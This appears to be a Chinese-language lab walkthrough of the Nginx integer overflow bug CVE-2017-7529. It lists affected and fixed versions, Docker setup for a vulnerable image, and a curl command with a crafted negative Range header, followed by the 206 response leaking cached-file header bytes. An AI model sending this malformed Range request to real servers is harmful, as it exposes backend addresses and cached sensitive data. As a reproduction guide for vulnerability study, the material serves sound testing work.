编写进度
Nginx整数溢出漏洞 CVE-2017-7529
当使用nginx标准模块时,攻击者可以通过发送包含恶意构造 range 域的 header 请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。
环境搭建参考 CVE-2017-7529
docker pull medicean/vulapps:n_nginx_1
docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
影响版本
Nginx version 0.5.6 - 1.13.2
该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。修复版本 Nginx version 1.13.3, 1.12.1
测试方法
- 命令行版
curl命令用法 请参考curl-wgetcurl -I http://192.168.43.204:8000/proxy/demo.png -x 127.0.0.1:8080 # 查看文件大小 Content-Length: 16585
测试原理
HTTP Range范围请求-响应包
curl -i http://192.168.43.204:8000/proxy/demo.png -x 127.0.0.1:8080 -r -17208,-9223372036854758600
GET /proxy/demo.png HTTP/1.1 # HTTP版本必须在1.1及以上版本
Host: 192.168.43.204:8000
Range: bytes=-17208,-9223372036854758600 # 指定Range字段
User-Agent: curl/7.64.1
Accept: */*
Connection: close
HTTP/1.1 206 Partial Content # 表明服务器正确处理了请求并返回Range指定的数据区间
Server: nginx/1.13.1
Date: Wed, 07 Apr 2021 15:04:48 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000025` # 多个数据区间用multipart/byteranges; boundary标识
Connection: close
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
X-Proxy-Cache: HIT
--00000000000000000025
Content-Type: image/png # 指定媒体类型
Content-Range: bytes -623-16584/16585 # 标识返回指定文件的部分内容在整个文件中所处的位置
:Ìm` lY âÉm` ä.åä {v"40c9-5547a060fdf00"